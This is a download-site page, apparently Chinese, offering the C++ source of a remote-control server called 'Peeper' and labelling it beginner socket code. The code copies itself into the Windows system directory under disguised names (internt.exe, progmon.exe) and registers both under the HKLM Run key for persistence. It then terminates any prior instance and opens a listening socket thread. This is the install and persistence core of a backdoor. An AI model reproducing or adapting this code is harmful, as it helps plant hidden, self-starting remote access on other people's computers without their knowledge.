⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 peeperserver.cpp

📁 这是个soket的代码不是太实用但是对出学者还是有些帮助的 有需要的可以
💻 CPP
字号:
#include "stdafx.h"
#include "PeeperServer.h"
#include "SocketThread.h"

BEGIN_MESSAGE_MAP(CPeeperServerApp, CWinApp)
	//{{AFX_MSG_MAP(CPeeperServerApp)
	//}}AFX_MSG
END_MESSAGE_MAP()

CPeeperServerApp::CPeeperServerApp()
{
}

CPeeperServerApp theApp;

BOOL CPeeperServerApp::Register()
{
	long  ret = 0;
	HKEY  hKEY;
	char  chCurPath[MAX_PATH];
	char  chSysPath[MAX_PATH];
	char  lpNewFileName1[MAX_PATH];
	char  lpNewFileName2[MAX_PATH];
	LPSTR lpCurFileName;
	DWORD dwType = REG_SZ;
	DWORD dwSize = MAX_PATH;
	LPCTSTR lpRegPath = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

	::GetSystemDirectory(chSysPath, dwSize);
	::GetModuleFileName(NULL, chCurPath, dwSize);
	
	//Copy File
	lpCurFileName = chCurPath;
	sprintf(lpNewFileName1, "%s\\internt.exe", chSysPath);
	ret = CopyFile(lpCurFileName, lpNewFileName1, FALSE);
	sprintf(lpNewFileName2, "%s\\progmon.exe", chSysPath);
	ret = CopyFile(lpCurFileName, lpNewFileName2, FALSE);
	//Open key
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRegPath, 0, KEY_WRITE, &hKEY);
	if(ret != ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY);
		return FALSE;
	}

	//Set Key
	ret = RegSetValueEx(hKEY, "Internt", NULL, dwType, 
		(const unsigned char*)lpNewFileName1, dwSize);

	ret = RegSetValueEx(hKEY, "Program file", NULL, dwType, 
		(const unsigned char*)lpNewFileName2, dwSize);

	RegCloseKey(hKEY);

	return TRUE;
}

#define PEEPER_ALONE		_T("PEEPER_ALONE_FILEMAPPING_LDF_5180")

BOOL CPeeperServerApp::InitInstance()
{
	//保持只有一个服务在运行.....
	//使用了文件映像的方法,存储当前Process ID到内存中,这样就可以通过这个
	//ID来退出这个进程了.
	HANDLE hProcessID = ::OpenFileMapping(FILE_MAP_ALL_ACCESS, TRUE, PEEPER_ALONE);
	LPBYTE lpData = NULL;
	if(hProcessID != NULL) // 已经有服务在运行了.
	{
		lpData = (LPBYTE)::MapViewOfFile(hProcessID, 
			FILE_MAP_ALL_ACCESS, 0, 0, sizeof(DWORD));
		DWORD dwID = 0;
		if(lpData != NULL)
		{
			dwID = *((DWORD *)(lpData)); // 得到在运行的进行ID
		}
		::UnmapViewOfFile(lpData);
		::CloseHandle(hProcessID);
		if(dwID != 0) // 通过ID来退出进程
		{
			HANDLE hHandle = NULL;
			hHandle = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwID);
			::TerminateProcess(hHandle, 0);
			::WaitForSingleObject(hHandle, INFINITE);
			::CloseHandle(hHandle);
		}
	}
	hProcessID = ::CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE,
		0, sizeof(DWORD), PEEPER_ALONE);
	if(hProcessID != NULL) // 创建新的文件映象,保存本进程的ID
	{
		lpData = (LPBYTE)::MapViewOfFile(hProcessID, 
			FILE_MAP_ALL_ACCESS, 0, 0, sizeof(DWORD));
		if(lpData != NULL)
		{
			DWORD dwID = ::GetCurrentProcessId();
			memcpy(lpData, &dwID, sizeof(DWORD));
		}
	}
	Register();
	CSocketThread *m_pSocketThread = new CSocketThread(PL_PEEPER_PORT);
	m_pSocketThread->CreateThread();
	::WaitForSingleObject(m_pSocketThread->m_hThread, INFINITE);
	::UnmapViewOfFile(lpData); // 取消文件映象
	::CloseHandle(hProcessID);

	return FALSE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -